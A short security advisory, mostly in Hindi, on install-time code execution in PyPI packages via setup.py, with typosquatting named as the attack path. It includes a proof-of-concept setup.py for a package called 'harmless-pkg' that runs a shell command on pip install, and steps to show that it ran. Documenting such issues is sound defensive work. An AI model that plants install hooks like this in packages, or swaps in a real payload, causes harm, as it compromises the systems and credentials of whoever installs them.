CVE-2026-21016 – दुर्भावनापूर्ण PyPI पैकेज इंस्टॉल हुक (setup.py निष्पादन)

प्रोग्राम कोड (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – दुर्भावनापूर्ण PyPI पैकेज इंस्टॉल हुक (setup.py)

अवलोकन

एक PyPI पैकेज अपने setup.py में मनमाना कोड शामिल कर सकता है, जो pip install के दौरान निष्पादित होता है। एक हमलावर किसी लोकप्रिय पैकेज के समान नाम वाला पैकेज प्रकाशित कर सकता है (typosquatting) और स्थापना पर, पेलोड उपयोगकर्ता के विशेषाधिकारों के साथ चलता है, जिससे रिमोट कोड निष्पादन होता है।

भेद्यता विवरण

• प्रकार: आपूर्ति श्रृंखला हमला / कोड निष्पादन
• प्रभाव: सिस्टम से समझौता, क्रेडेंशियल चोरी।
• मूल कारण: Pip setup.py को बिना सैंडबॉक्सिंग के निष्पादित करता है, जिससे पैकेजों को पूर्ण पहुंच मिलती है।

शोषण प्रदर्शन

1. दिए गए setup.py के साथ दुर्भावनापूर्ण पैकेज निर्देशिका बनाएँ।
2. इसे स्थानीय रूप से इंस्टॉल करें:

   pip install ./harmless-pkg
   
   

3. आउटपुट जाँचें:

   cat /tmp/pwned_by_package
   

id कमांड निष्पादित किया गया।